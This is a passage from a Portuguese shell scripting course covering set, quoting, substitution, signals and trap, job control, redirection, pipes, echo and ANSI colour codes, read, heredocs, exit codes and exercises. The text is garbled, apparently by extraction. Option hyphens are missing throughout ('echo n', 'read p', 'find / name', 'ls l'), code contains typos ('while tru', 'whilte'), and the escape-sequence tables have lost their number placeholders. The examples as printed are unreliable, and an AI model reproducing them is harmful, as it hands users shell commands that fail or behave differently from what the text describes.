set (para editar parâmetros) O que vou passar neste tópico não é sobre como usar "todo o poder do comando set", e sim como usar set especificamente para editar parâmetros. Não tem nenhum segredo! Veja este exemplo: set um dois tres Isso fará com que $1 seja 'um', $2 seja 'dois', $3 seja 'tres' e só! Não existirá $4, $5, etc. mesmo que eles tenham sido usados. Veja um exemplo de script: #!/bin/bash echo "Os $# parâmetros passados inicialmente foram: $@" echo echo "e agora eu vou alterálos!" echo "como eu sou mau... (huahuahau risada diabólica huahuahuha)" echo set um dois tres echo "Os $# novos parâmetros agora são: $@" echo Não interessa quantos parâmetros você passar para este script, no final você só terá $1, $2 e $3 valendo 'um', 'dois' e 'tres', respectivamente. Quoting Os caracteres abaixo tem um modo especial de tratar o shell : ; & ( ) | ^ < > newline space tab # ∙ caracter deve ser cotado pela precedência com um \. O par \newline é ignorado. Todos os caracteres fechados entre o par de acentos (‘), exceto aspas simples são cotadas. ∙ Um & no final do comando indica que este irá ser executado em background. O shell mostra o número do processo gerado. Para que você não perca este processo ao terminar seu shell, execute seu comando assim: $ nohup comando argv1 argv2 ... argvn& Exemplos: echo $PATH /usr/bin:/usr/local/bin Adbeel Goes Filho
ShellScripts 29
arquivo=/home/morro.txt more $arquivo txt1=Casa txt2=Mae txt3=Joana echo ${txt1}da$txt2$txt3 Observe que no último exemplo foram usadas as chaves para circundar o nome da variável, senão o Shell poderia interpretar a variável como txt1da, o que seria o nome da variável diferente de txt1, caso as chaves não fossem usadas, gerando mensagem de erro de parâmetro não definido, pois nesse caso a variável txt1da não existiria. Substituição de comando A substituição de comando é usada para substituir um comando por seu resultado dentro da mesma linha de comando. Isto será útil quando for necessário armazenar a saída de um comando em uma variável ou passar essa mesma saída para outro comando. A sintaxe utilizada é: $(comando) ou `comando` A substituição de comando permite que você capture o resultado de um comando e utilizeo como um argumento para outro comando ou armazene sua saída em uma variável. Exemplo: dir_atual=$(pwd) cp $(ls *.txt) /home/user1/backup Substituição do ~ (til) A substituição do til é executada de acordo com as seguintes regras: 1. Um til sozinho ou em frente a uma barra é substituido pelo conteúdo da variável HOME. Exemplo: HOME=/home/user3 echo ~ 2. Um til seguido do sinal de + é substituído pelo valor da variável PWD. 3. Um til seguido de – será substituiído pelo valor da variável OLDPWD. Exemplo: echo ~ ls 1F ~/file1 ls – logt ~+/poodle ls ~ Adbeel Goes Filho
ShellScripts 30
Prompting Quando usado interativamente, o prompt do shell é o valor da variável PS1 antes da leitura do comando. Se todo tempo uma linha deve ser digitada e uma nova linha teclada para completar o comando, então um segundo prompt é mostrado.
Input / Output Antes de um comando ser executado, sua entrada e saida pode ser redirecionada usando as notações interpretadas pelo shell. < word Usando word como entrada padrão > word Usando word como saida padrão >> word Idem ao >, so que neste caso se word já existe não sobrepõe, faz o append. <&digit Uso associado a um descritor de arquivo como entrada padrão. Similar pela saida padrão usando >&digit. Note que digit precisa ser de um tamanho entre 0 a 9. Exemplo: ... 2>&1
Arquivo associado ao descritor 2 com o arquivo corrente associado com o descritor do arquivo 1. Note que o redirecionamento de I/O é necessário se você quer sincronia com stdout e stderr para o mesmo arquivo. Esta opção é bastante usado para se configurar impressoras ou dispositivos seriais. Conceito de Sinais Um sinal é u m flag transmitido para um processo quando certos eventos ocorrem. Os sinais mais conhecidos em ambiente *IX são: NULL HUP INT QUIT KILL TERM
Saida do Shell ( ^D ou exit ) Hungup – enviado para processos em retaguarda no logout Interrupção ( ^C ) Quit ( ^\ ) gera arquivo core Morte certa ( Não pode ser capturado ou ignorado ) Terminação por software
O comando kill transmite um sinal explícito para um ou mais processos. Diite kill l para obter uma lista de sinais disponíveis no SO. O que é um TRAP ? Um trap é uma maneira de capturar sinais transmitidos a um processo e de executar alguma ação baseada no tipo de sinal que foi recebido. A trap simplesmente espera por sinais enviados ao Shell, identificaos e então, executa Adbeel Goes Filho
ShellScripts 31
a ação associada. Uma trap pode ser definida para a remoção de arquivos temporários no término de um programa ou pode definir sinais que devam ser ignorados durante um segmento sensível na execução do programa. O comando trap O comando trap pode ser usado em programas Shell para capturar um sinal antes que ele possa abortar um processo e executar alguma ação adicional ou alternativa. Os comandos trap são normalmente colocados no início de um SS, mas eles podem estar em qualquer parte do script. As traps são assinalidas pelo Shell quando este Lê o comando trap. As traps são acionadas quando um sinal relacionado é recebido. Sintaxe: trap 'comandos' sinal1 sinal2 ... sinal n Exemplo: trap 'echo bye; exit ' 2 3 15 while tru; do echo “Hello ...” done Ignorando sinais O comando trap pode ser usado para ignorar determinados sinais quando estes forem recebidos pelo processo. Sintaxe: trap '' sinal1 sinal2 ... sinal n Exemplo: Ignora o sinal INT que é equivalente ao ^C. trap '' 2 whilte true; do echo “Hello ...” sleep 2 done Exemplo: gerenciar remoção de arquivos temporários se o programa for abortado trap 'rm /tmp/templfile; exit' 2 3 15
Adbeel Goes Filho
ShellScripts 32
Exemplo: comando para ignorar sinais antes de sessos críticas de código trap '' 3 5 Exemplo: restaurar o trap para ação default quando uma seção de código sensível for completada trap INT QUIT TERM ou trap 2 3 15 As interrupções e sinais de término invocados por um comando são ignorados se este comando foi executado seguido do caracter &. Outros sinais tem valores herdados pelo shell de shellspai, com exceção do sinal 11. (seja comando trap).
Adbeel Goes Filho
ShellScripts 33
Comandos especiais break [ n ] continue [ n ] cd [ arg ] echo [ arg ... ] eval [ arg ... ] exit [ n ] export [ name ... ] hash [ r ][ name ... ] newgrp [ arg ... ] pwd read [ name ... ] return [ n ] set [ aefhkntuvx [ arg ... ] ] shift [ n ] test times trap [ arg ] [ n ] type [ name ... ] ulimit [ f [ n ] ] umask [ nnn ] unset [ name ... ] wait [ n ]
Chamada do sh Opções podem ser especificadas com um simples ou múltiplos argumentos, mas em todos os casos, cada opção deve iniciar com um . c string Se a chave c está presente, então os comandos estão lendo de uma string. s Se a chave s está presente, então os comandos estão lendo da entrada padrão, o shell irá de cada parametro posicional. i Se a entrada do shell estiver conectada a um terminal, então este shell é interativo, Neste caso: TERMINATE é ignorado(então o sinal 0 não mata shell interativo). r Shell restrito. sh pode retornar : 0 Sucesso Adbeel Goes Filho
ShellScripts 34
1 A execução do programa com erro (Veja Comandos especiais) 2 Sintax Error (Erro de Sintaxe) 3 Signal received that is not trapped
6. Exercicios 1. Qual é a shell mais utilizada pelo AIX/6000 ? 2. Quais são os dispositivos default de entrada e saida utilizados pelo sistema ? 3. É possível alterar os dispositivos de entrada e saida padrões ? Como ? 4. Que tipo de informação é enviada para a saida padrão ? 5. Que outro dispositivo pode ser usado no lugar da entrada padrão ? 6. Utilizando redirecionamento, como você faria para escrever um pequeno texto no arquivo carta ? 7. Qual a diferença entre os sinais > e >> ? 8. Qual a finalidade do dispositivo nulo ? 9. O redirecionamento utilizado em um comando é válido para os próximos ? Explique 10.É possível redirecionar mais do que um dispositivo padrão num só comando ? Caso afirmativo, faça um exemplo redirecionando todos os dispositivos padrões. 11. A ordem com que são feitos os redirecionamentos é relevante para a ação tomada pelo comando ? E usando associações ? Explique. 12.Explique os seguintes comandos : a) $ls 2> &1 > saida.do.ls b) $ls R / > erros 2> arvore c) $mailto claudia < carta d) $cat >> carta e) $ls l /usr > arvore 2> &1 f) $ls > saida.do.ls 2> &2 13.Utilizando a substituição de comandos, atribua a data de hoje no formato dd/mm/yy à variável TODAY. Consulte o manual online para verificar quais os formatos possíveis para a exibição de datas e/ou horas. 14.Liste o conteúdo do diretório de outro usuário usando a substituição do til ?
Adbeel Goes Filho
ShellScripts 35
15.Crie uma variável chamado MYNAME e armazene nela o seu primeiro nome. Como se mostra o conteúdo da variável ? 16.Como fazer para que o Shell filho “enxergue” o conteúdo da variável MYNAME ? 17.Torne a variável TODAY somenteleitura. É possível excluir esta variável ? 18.Modifique seu prompt de comando, de modo que ele fique com a aparência a seguir: [user1]10/10/2000 as 06:45/home/user1 => 19.Utilizando a substituição de comando copie o conteúdo de /home/teste para /tmp 20.Exiba o conteúdo do seu diretório home na saida padrão. 21.Copie a lista detalhada dos processos em execução para o arquivo lista.txt no seu diretório home. 22.Sabendo que a=1 b=2 c=3 Mostre na saida padrão começo32321meio34567fim utilizando os nomes das variáveis. 23. Escreva um SS que emita uma mensagen na sua tela a cada 3 segundos com um bip. Torne este SS imune aos sinais INT, HUP e TERM. Como parar este programa ?
Adbeel Goes Filho
ShellScripts 36
Capitulo 2. Execução de Programas Falaremos agora sobre execução de programas em primeiro plano (fg foreground) e em segundo plano (bg background), redirecionamento de saídas e também sobre os códigos de escape dos programas.
7. Execução em foreground e background Quando executamos um programa, o shell fica esperando o mesmo terminar para depois nos devolver a linha de comando. Por exemplo, quando executamos o comando cp arquivo1 arquivo2 o shell executa esse comando, fica esperando ele terminar, para depois nos retornar a linha de comando. Isso chamase execução em primeiro plano, ou foreground, em inglês.Agora digamos que o arquivo a ser copiado seja muito grande, digamos, 50Mb. Enquanto o comando cp é executado, vamos ficar com o shell preso a ele todo esse tempo, ou seja, cerca de 1 ou 2 minutos (Dependendo da máquina). Somente após isso vamos ter a linha de comando de volta para podermos continuar trabalhando. E se pudéssemos dizer ao shell para executar um programa e nos retornar a linha de comando sem ficar esperando o tal programa terminar ? Seria muito melhor, não? Em alguns casos seria. E podemos fazer isso. Uma maneira fácil é colocar o sinal de & depois de um comando. No exemplo acima ficaria: virtvs@mucuripe:~$ cp arquivo1 arquivo2 & [1] 206 virtvs@mucuripe:~$ Pronto, assim que teclarmos [enter], teremos a nossa linha de comando de volta e mais duas informações: "[1] 206". A primeira informação ([1]) chamase job. Ela identifica os programas que estão sendo executados em bg (background). Por exemplo, se executarmos mais um programa em bg enquanto este "cp" está sendo executado, o novo programa recebe o job de número 2 ([2]) e assim por diante. A segunda informação (206) é o pid do programa, ou seja, o número de processo que o kernel dá a esse programa. Mas aí temos um pequeno problema. Digamos que você queira trazer o programa para Adbeel Goes Filho
ShellScripts 37
fg, por exemplo, se o programa executado em bg for um tocador de mp3 e você quiser mudar a música. Como fazemos? Usamos o comando fg [job] (intuitivo, não ?) do bash. No exemplo acima, digamos que eu execute o "cp" em bg, mas depois queira trazêlo para fg para cancelálo. Seria simples: virtvs@mucuripe:~$ cp arquivo1 arquivo2 & [1] 206 virtvs@mucuripe:~$ fg 1 cp arquivo1 arquivo2 Assim trazemos o "cp" para primeiro plano e a linha de comando só retorna quando ele terminar. Opcional Uma outra maneira de colocar um programa para rodar em bg é utilizando um truque do bash. Digamos que você execute o comando "cp" e esqueça de colocar o sinal "&". E aí ? Tem que ficar esperando acabar ou cancelar o comando? Não, podemos teclar: Ctrl + Z. Ao fazer isso, paramos a execução do programa. Então é só dar o comando bg [job] (intuitivo também, né?): virtvs@mucuripe:~$ cp arquivo1 arquivo2 * aqui teclamos Ctrl + Z * [1]+ Stopped cp i arquivo1 arquivo2 virtvs@mucuripe:~$ bg 1 [1]+ cp i arquivo1 arquivo2 & virtvs@mucuripe:~$ Quando teclamos o Ctrl + Z, o bash nos diz que o job 1 foi parado ([1]+ Stopped) e quando executamos "bg 1" ele nos diz que o comando voltou a ser executado, mas em bg (repare o sinal de "&" no final da linha): [1]+ cp i arquivo1 arquivo2 &.
8. Redirecionamento Muitos programas que executamos geram saídas no console, ou sejam, emitem mensagens para os usuários. Por exemplo, queremos achar quantos arquivos no nosso sistema tem "netscape" no nome: virtvs@mucuripe:~$ find / name netscape /usr/lib/netscape /usr/lib/netscape/netscape /usr/lib/netscape/nethelp/netscape /usr/local/bin/netscape Adbeel Goes Filho
ShellScripts 38
Agora se quisermos procurar quantos arquivos compactados com o gzip (extensão .gz) tem no nosso sistema para depois analisálos e possivelmente apagar os repetidos ou inúteis, teremos uma lista muito grande. Aqui no meu sistema deu mais de 1000 arquivos. Então, seria útil podermos enviar as mensagens que vão para o console, para um arquivo. Assim, poderíamos analisálo depois de executar o comando. Isso é extremamente útil ao trabalharmos com shell script enviar as saídas dos comandos para arquivos para depois analisálas. Exemplificando: virtvs@mucuripe:~$ find / name "*.gz" > lista.txt find: /home/vera: Permissão negada find: /home/pri: Permissão negada find: /root: Permissão negada virtvs@mucuripe:~$ Notamos que nem tudo foi para o arquivo lista.txt. As mensagens de erro foram para o console. Isso porque existem dois tipos de saída: a saída padrão e a saída de erro. A saída padrão é a saída normal dos programas, que no caso acima, seria os arquivos encontrados. E a saída de erro, como o próprio nome diz, são os erro encontrados pelo programa durante sua execução, que devem ser informados ao usuário, como os erros de "permissão negada". E aí, como selecionar uma ou outra ? É simples, apenas devemos indicar o "file descriptor" (fd) delas. Não vamos entrar em detalhes sobre o que é "descritor de arquivos" por fugir do nosso escopo e ser um pouco complicado, apenas temos que saber que o fd 1 corresponde a saída padrão e o fd 2 a saída de erro. Assim, no exemplo acima, para enviar os erro para o arquivo erros.txt e a saída padrão para o arquivo lista.txt, usaríamos: virtvs@mucuripe:~$ find / name "*.gz" 1> lista.txt 2> erros.txt Ou seja, é só por o número da saída desejada antes do sinal de ">". Agora digamos que queremos ver o conteúdo do arquivo lista.txt. Podemos abrílo com um editor de textos ou usar o "cat". Optando pela última opção: virtvs@mucuripe:~$ cat lista.txt /home/neo/gkrellm0.10.5.tar.gz /home/neo/linuxcallinterfacebeta.tar.gz ... <<< mais de 1000 linhas virtvs@mucuripe:~$ Temos um problema. O arquivo tem mais de 1000 linhas e não conseguimos vêlo inteiro. Podemos redirecionar a saída do comando "cat" para o comando "more", que dá pausa entre as telas: virtvs@mucuripe:~$ cat lista.txt | more ......... Adbeel Goes Filho
ShellScripts 39
Veja que utilizamos o caractere "|", chamado "pipe". Não poderíamos ter utilizado o sinal de ">"? Não, o sinal de ">" é somente para enviar a saída para um ARQUIVO. Para enviar a saída de um comando para a entrada de outro, usamos o pipe. As vezes queremos que além da saída ir para um arquivo, ela também vá para a tela. Temos um programinha que faz isso. Ele chamase "tee". Veja o exemplo a seguir: virtvs@mucuripe:~$ find / name "*.gz" 2> erros.txt | tee lista.txt O que fizemos ? Primeiro pegamos a saída de erro e enviamos para o arquivo erros.txt. O restante, ou seja, a saída padrão, estamos enviando para a entrada do comando tee (usando o pipe). O tee simplesmente pega o que ele recebe (através do pipe) e joga no arquivo lista.txt e na tela. Assim, além de gravarmos a saída num arquivo, podemos mostrar ao usuário o que está acontecendo. Isso é muito útil quando escrevemos alguns scripts. Resumindo: aprendemos que podemos redirecionar a saída padrão ou de erro de programa para um arquivo usando respectivamente "1>" ou "2>" ou também enviar a saída para a entrada de outro programa usando o pipe "|". echo Existem alguns momentos que você não quer que a saída do echo pule de linha automaticamente. Para isso use o parâmetro "n". Este parâmetro é útil quando você vai entrar com algo após o echo. Veja este script: Exemplo: #!/bin/bash echo n "Entre com o nome do arquivo: " read FILE echo "Tipo do arquivo `file $FILE`" Muita atenção deve ser tomada ao usar o echo, pois as aspas que você pode vir a deixar de usar podem fazer um diferença (em alguns casos isso pode ser muito útil). Exemplo: $ echo uma boa rede de irc que conheco eh irc.linux.org uma boa rede de irc que conheco eh irc.linux.org $ echo "uma boa rede de irc que conheco eh irc.linux.org" uma boa rede de irc que conheco eh irc.linux.org $ $ # agora um exemplo com variavel $ Adbeel Goes Filho
ShellScripts 40
$ TESTE="primeira linha da variavel > segunda linha > terceira... > chega! :) > " $ echo $TESTE primeira linha da variavel segunda linha terceira... chega! :) $ echo "$TESTE" primeira linha da variavel segunda linha terceira... chega! :) A esta altura você já deve ter se perguntado "Como faço para imprimir caracteres nova linha ou beep?!". Os mais malandrinhos devem ter tentado um contrabarra (backslash) '\', mas você não pode simplesmente fazer isso. É necessário usar o parâmetro "e" com o echo. Este parâmetro permite que usemos sequências de escape contrabarra. As sequências são iguais a da linguagem C, exemplo: \n para nova linha, \a para beep, \b para backspace, etc... Exemplo: $ echo e "module caiu de cara tentando \"top soul\".\nQue paia\a"! module caiu de cara tentando "top soul". Que paia! O e é também usado para escrever colorido e outras coisas interessantes. Veremos isso no tópico seguinte.
9. Metacaracteres e Wildcards Metacaracteres são caracteres que possuem algum significado especial para o shell. Wildcards são subconjuntos dos metacaracteres cuja característica é simplificar a linha de comando.
Os metacaracteres e wildcards serão vistos neste trabalho de uma maneira gradativa, a medida em que sejam necessários.Alguns deles já foram vistos no redirecionamento (> < e >> ). Veja mais alguuns metacaracteres:
Caracteres
Definição
\
Continuação de linha
;
Agrupamento de comandos Adbeel Goes Filho
ShellScripts 41
Caracteres |
Definição Processamento Sequenciado
O caracter \ (continuação de linha) permite continuar a escrever o comando na linha subsequente, caso o mesmo seja extenso, ou seja, não caiba em uma só linha da tela. Ressaltamos que não deverá haver espaço em branco após este caractere. Após pressionarmos a tecla [ENTER] o shell mostrará um novo prompt default (>) chamado de secundário, informando que a linha corrente é a continuação da linha anterior. Exemplo: $cat /home/chico/public_html/index.html \ > /home/maria/public_html/index.html O caracter de agrupamento de comando (;) permite agrupar os comandos em uma mesma linha. Sintaxe: Exemplo:
$comando1 ; comando2 $ls ; pwd Isto é equivalente a digitar $ls $pwd
É importante observar que o segundo commando não depende da resposta do primeiro comando, ou seja, não há relacionamento entre eles. Pipes Pipes ou tubos ( | ) é uma outra forma de agrupar comandos em uma mesma linha, porém, há relacionamento entre os comandos. Quand utilizamos o “|” (pipe), ele informa ao shell para conectar a saida padrão do primeiro comando com a entrada padrão do segundo comando. Por sua vez, a saida do segundo comando é direcionada para a saida padrão. Para um melhor entendimento imagine que a linha de comando é um tubo por onde deve passar a informação do primeiro comando para o segundo, do segundo para o terceiro e assim sucessivamente, até que o último comando direcione a saida para a saida padrão. Agora vejamos o pipe. Sua sintaxe é: $ programa1 | programa2 Adbeel Goes Filho
ShellScripts 42
O pipe é usado para você fazer da saída de um programa a entrada de outro (como usado no exemplo amarelinho.sh já mostrado anteriormente). Apesar de simples o pipe é muito útil e poderoso. Veja este exemplo muito simples: $ who meleu tty1 Nov 20 01:40 hack tty2 Nov 20 01:45 root tty3 Nov 20 02:44 $ who | cut c9 meleu hack root Comandos Úteis com o Pipe xargs O xargs transforma stdin em argumentos da linha de comando. Vamos usar o exemplo anterior de novo: Exemplo: $ who | cut c9 # lembrando: pipe transforma stdout em stdin meleu hack root $ # "echo" nao le arquivo, ele usa argumentos. $ # A linha abaixo nao tem utilidade. $ who | cut c09 | echo $ # "xargs" transforma o conteudo de stdin em argumentos $ who | cut c09 | xargs echo meleu hack root Como eu gosto do find não resisti e colocarei um comando interessante que usa pipe e xargs: $ find / perm 2 ! type l ! type c | xargs ls ld > wordwritable.txt tee Outro comando bom de se usar com pipe é o "tee". Ele faz com que a saída do programa vá para a saída padrão, normalmente a tela e para um arquivo ao mesmo tempo. É como se você fizesse "programa > arquivo" só que o saída do programa também seria escrita na saída padrão. Experimente: Adbeel Goes Filho
ShellScripts 43
$ ls la |tee conteudo.txt O comando echo e os cracteres de saida \b \c \f \n \r \t \a \\ \0nnn
Backspace Suprime a terminação newline Alimentação de formulário Nova linha ( NewLine ) Carriage Return Tabulação Caractere de alerta Barra invertida Caractere de código ASCII em octal
Adbeel Goes Filho
ShellScripts 44
10.Sequências de Escape ANSI Para usar cores a sequência de escape é "\e[m" (os sinais '<' e '>' não entram!). Veja um exemplo (mais a frente você verá tabelas com os significados destas sequências): Examplo: #!/bin/bash # imprime amarelinho no centro da linha # A variável $COLUMNS contém o número de colunas que o terminal está # usando, e antes de executar este script você precisa exportála: # [prompt]$ export COLUMNS [ $COLUMNS ] || { echo Você precisa exportar a variável \"COLUMNS\": echo "Tente \"export COLUMNS\" e tente executar novamente" exit 1 } POSICAO=$[ ( $COLUMNS `expr length "$*"` ) / 2 ] # `expr length "$*"` retorna o número de caracteres digitados # como parâmetros. echo e "\e[${POSICAO}C\e[33;1m$*\e[0m" Agora uma explicação ligeira: o \e diz ao echo que o que vem depois é uma sequência de escape. Se você der a sequência '[C', onde num é um número qualquer, o cursor vai andar "num" caraceteres para a direita. Acima eu uso a variável POSICAO para mover o cursor para o centro da linha (veja o cálculo no código). O comando '[m' muda para a cor "num". Cada cor tem um código próprio. No exemplo acima o 33 faz ficar marrom, porém combinando com o 1 fica amarelo (isso no modo texto, pois no xterm, por exemplo, o 1 faz o marrom ficar em negrito. veja OBSERVAÇÕES mais adiante). Veja também uma tabela com os códigos de movimentação de cursor que eu conheço (os caracteres '<' e '>' devem ser ignorados):
Adbeel Goes Filho
ShellScripts 45
Código
O que faz
\e[A
Move o cursor N linhas acima.
\e[B
Move o cursor N linhas abaixo.
\e[C
Move o cursor N colunas à direita.
\e[D
Move o cursor N colunas à esquerda.
\e[E
Move o cursor N linhas para baixo na coluna 1.
\e[F
Move o cursor N linhas para cima na coluna 1.
\e[G
Coloca o cursor na linha N.
\e[;H
Coloca o cursor na linha L e na coluna C.
\e[I
Move o cursor N tabulações à direita.
\e[J
N=0 Apaga do cursor até o fim da tela; N=1 Apaga do cursor até o início da tela; N=2 Apaga a tela toda.
\e[K
N=0 Apaga do cursor até fim da linha; N=1 Apaga do cursor até o início da linha; N=2 Apaga a linha toda.
\e[L
Adiciona N linhas em branco abaixo da atual.
\e[M
Apaga N linhas abaixo da atual.
\e[P
Apaga N caracteres a direita.
\e[S
Move a tela N linhas para cima.
\e[T
Move a tela N linhas para baixo.
\e[X
Limpa N caracteres à direita (com espaços).
\e[@
Adiciona N espaços em branco.
\e[s
Salva a posição do cursor.
\e[u
Restaura a posição do cursor que foi salva.
Adbeel Goes Filho
ShellScripts 46
Agora uma tabelinha dos atributos e seus números (N deve estar no formato "\e[m"):
Atributo
N
Cor
X
Desligar todos atributos
0
Preto
0
Negrito
1
Vermelho
1
Cor X para o primeiro plano
3X
Verde
2
Cor X para o segundo plano
4X
Marrom
3
Sublinhado
4
Azul
4
Piscando (blink)
5
Roxo
5
Video reverso
7
Ciano
6
x
Branco
7
OBSERVAÇÕES: – –
–
Negrito, Sublinhado e Piscando possuem comportamentos diferentes no console e nos emuladores de terminal. Principalmente quando temos negrito sendo usado com cores. Por exemplo, o código "\e[33m" irá ativar o marrom mas se for usado (no console!) com o atributo de negrito ficará amarelo, e o código será assim: "\e[1;33m". Por isso faça os testes que você descobrirá as cores Estas tabelas eu fiz graças a uma matéria que o aurélio escreveu sobre isso. Veja em http://verde666.org/coluna/ 2.
read
Como você viu no script anterior para entrar com um dado usase "read". O read tem alguns "macetinhos". Pra começar: você não precisa colocar um echo toda hora que for usar o read para escrever um prompt. Basta fazer "read p prompt variavel" Veja esta seção de exemplos: Examplo: #!/bin/bash read p "Entre com uma string: " string echo $string $ ./read1.sh Adbeel Goes Filho
ShellScripts 47
Entre com uma string: klogd eh um tremendo cachacero! klogd eh um tremendo cachacero! Examplo: #!/bin/bash read p "Entre com 3 strings: " s1 s2 s3 echo "s1 = $s1 s2 = $s2 s3 = $s3" Examplo: $ ./read2.sh Entre com 3 strings: j00nix eh cabecudo s1 = j00nix s2 = eh s3 = cabecudo # o mesmo script com mais de 3 strings # $ ./read2.sh Entre com 3 strings: eSc2 adora ficar de copy'n'paste no IRC. s1 = eSc2 s2 = adora s3 = ficar de copy'n'paste no IRC. Quando o "read" vai ler apenas uma variável, toda a string vai ser atribuída a esta variável. Quando vai ler mais de uma variável ele atribui cada string a sua respectiva variável; e quando o número de strings excede o número de variáveis a última fica com o excedente. O parâmetro "s" serve para não ecoar o que for digitado. É útil para digitar uma senha por exemplo. Tente "read s PASS" e veja. Você também pode determinar o número de caracteres que serão lidos com o parâmetro "n". Tente fazer "read n 10 VAR". Mas cuidado: ao usar a opção n você não poderá usar o backspace para fazer correções. A opção "r" serve para que a contrabarra (backslash) não aja como um caracter de escape. 3.
Redirecionamento
Quem já sabe programar deve saber que existem três "file descriptors" abertos por padrão (pelo menos nos sistemas operacionais que conheço): stdin (standard input), stdout (standard output) e stderr (standard error). Para fins práticos, estes são considerados arquivos e você pode direcionar destes "arquivos" para outros e viceversa.
Adbeel Goes Filho
ShellScripts 48
Veja como direcionar de: arquivo para stdin
$ programa < arquivo
stdout para arquivo
$ programa > arquivo
stderr para arquivo
$ programa 2> arquivo
stdout para stderr
$ programa 1>&2
stderr para stdout
$ programa 2>&1
stdout e stderr para arquivo $ programa &> arquivo Se você usar por exemplo "find / perm 2 > worldwritable.txt" e no diretório não tiver um arquivo chamado "worldwritable.txt" este será criado, a saída do comando será gravada nele e a saída de erro padrão será impressa na tela. Para não ver as mensagens de "Permission Denied" faça isso: $ find / perm 2 > worldwritable.txt 2> /dev/null Ainda temos um probleminha: este comando irá mostrar também todos os links simbólicos e vários arquivos de dispositivo. Para eliminar os links simbólicos faça o seguinte: $ find / perm 2 ! type l > worldwritable.txt 2> /dev/null Se o arquivo já existir seu conteúdo será sobregravado. Mas você pode apenas concatenar o conteúdo no final do arquivo usando ">>". Exemplo: $ echo " F I M D O A R Q U I V O " >> worldwritable.txt Veja este script a seguir a execute ele usando redirecionamento na linha de comando pra ver os resultados #!/bin/bash echo "Isto vai para a saída padrão." echo "Isto vai para a saída de erro padrão." 1>&2 echo "Isto vai criar um arquivo e colocar esta linha nele." > ARQUIVO echo "Esta linha vai para o final do arquivo." >> ARQUIVO Tem um outro tipo de redirecionamento que é bastante útil. É assim: $ programa << delimitador Isto quer dizer que o programa vai ler o arquivo stdin até encontrar o delimitador. Isso é muito útil para usar programas externos através de shell scripts. Você pode, por exemplo, usar este tipo de redirecionamento para fazer um shell script escrever um outro arquivo usando o comando "cat". Vamos a um exemplo em que eu crio um código de Adbeel Goes Filho
ShellScripts 49
programa escrito em C através do script (note que as variáveis do script SÃO interpretadas): #!/bin/bash NAME=`whoami` echo e "\n\tCRIANDO O ARQUIVO arquivo.c\n" # O arquivo.c terminará quando encontrar a string _EOF_ cat << _EOF_ > arquivo.c #include <stdio.h> int main (void) { printf ("\n\tPrograma que não faz nada além disso.\n"); printf ("\tFeito por $NAME\n\n"); return 0; } _EOF_ # O arquivo.c acabou na linha ACIMA do _EOF_ # Observe no arquivo.c o $NAME será "traduzido" para o username adequado echo e "\n\tCOMPILANDO O PROGRAMA\n" gcc arquivo.c o arquivo echo e "\n\tFEITO!\n"
11.Códigos de Escape Toda vez que executamos um programa em Unix, ele retorna um código de escape ao finalizar. Esse código reflete a condição em que o programa finalizou. Se ocorreu tudo certo e o programa terminou normalmente, ele retorna 0. Se ocorreu algum problema, o programa retorna um código diferente de 0, geralmente variando com o problema ocorrido. Esse código de retorno é extremamente importante em shell script, pois é assim que testamos se uma certa ação ocorreu bem ou teve problemas. Esse código é armazenado pelo bash numa variável chamada "?" (isso mesmo, somente o sinal de interrogação ;)). Por exemplo, vamos executar um "ls" em um diretório que existe e ver o código de retorno: virtvs@mucuripe:~$ ls /boot System.map boot.0300 boot.b boot_message.txt chain.b config map os2_d.b virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$
Adbeel Goes Filho
ShellScripts 50
Ou seja, o "ls" foi executado normalmente, retornando 0. Agora vamos executálo num diretório que não existe: virtvs@mucuripe:~$ ls /diretorio_invalido /bin/ls: /diretorio_invalido: Arquivo ou diretório não encontrado virtvs@mucuripe:~$ echo $? 1 virtvs@mucuripe:~$ Como esperado, obtemos o retorno de erro 1. Alguns programas tem muitos códigos de retorno. Por exemplo, os códigos de retorno do "pppd" vão até o 19. Assim é possível saber porque ele foi finalizado. Se você colocar uma senha errada no pppd e tentar conectar, ele vai terminar com o código 19. man pppd ... 17 The PPP negotiation failed because serial loopback was detected. 18 The init script failed (returned a nonzero exit status). 19 We failed to authenticate ourselves to the peer. ... Um detalhe importante: quando executamos um programa em background, ele sempre retorna um código 0 para o shell, mesmo que durante sua execução ocorra algum problema. Assim, quando executamos um programa em bg, perdemos essa facilidade de testar como foi seu término. virtvs@mucuripe:~$ ls /diretorio_invalido & [1] 230 virtvs@mucuripe:~$ /bin/ls: /diretorio_invalido: Arquivo ou diretório não encontrado [1]+ Exit 1 /bin/ls $LS_OPTIONS /diretorio_invalido virtvs@mucuripe:~$ echo $? 0 Como vemos, ao terminar, ele emite uma mensagem dizendo que finalizou com código 1 ([1]+ Exit 1) mas quando testamos a variável "?", o bash nos diz "0".
12.Conclusões Como todos os programas tem que terminar com um código de retorno que tenha algum significado, nossos shell scripts também terão que finalizar indicando o que aconteceu, se ocorreu tudo bem ou se ouve erro. Mas isso discutiremos melhor mais pra frente. O importante aqui é saber que todos os programas terminam com um código de retorno, os quais usaremos nos nossos scripts para testar o término dos programas.
Adbeel Goes Filho
ShellScripts 51
13.Exercicios 1. Qual a diferença entre o pipe (|) e o ponto e virgula (;) ? 2. Digite o comando abaixo em duas linhas unidas pelo metacaractere \. $cat /home/lab/texto1 /home/lab/text2 3. Liste, paginando, todos os processos que estão sendo executados. 4. Mostre todos os processos do usuário root. 5. O que faz o comand: $ps ef | cut c9 6. Quantas pessoas estão executando o processo ksh ? 7. Quantos subdiretórios existem dentro do diretório /usr ?
Adbeel Goes Filho
ShellScripts 52
Capitulo 3. Comandos Condicionais Trataremos agora de "comandos condicionais". Condicionais são comandos que avaliam uma expressão. Se ela for verdadeira, uma determinada rotina é executada. Caso contrário, outra rotina pode ser executada. O famoso "if" O bash nos oferece, entre outros, o comando “if” (ele é um comando embutido no bash e não um programa como o "ls", o "cp" etc.). A forma mais simples de representar uma condicional utilizando o “if”, é da seguinte forma básica: if [condição]; then comandos1; else comandos2; fi; Se [condição] for verdadeira, os comandos1 são executados. Se for falsa, os comandos2 são executados. Mas para o if, o que é uma condição verdadeira ou uma falsa ? Como foi explicado anteriormente, TODO comando em Unix tem um código de retorno. Geralmente o código "0" (zero) significa que o comando foi executado perfeitamente e terminou bem. Códigos maiores que zero significam que alguma coisa de errado ocorreu. É assim que o if verifica uma condição. Se o seu código de retorno for zero, então ela é considerada verdadeira. Caso contrario, ela é falsa. Mas então a [condição] tem que ser um comando, certo? Exatamente. Vamos exemplificar: virtvs@mucuripe:~$ if ls /boot; then echo "O diretório existe."; else echo "Diretório inválido."; fi; System.map boot.0300 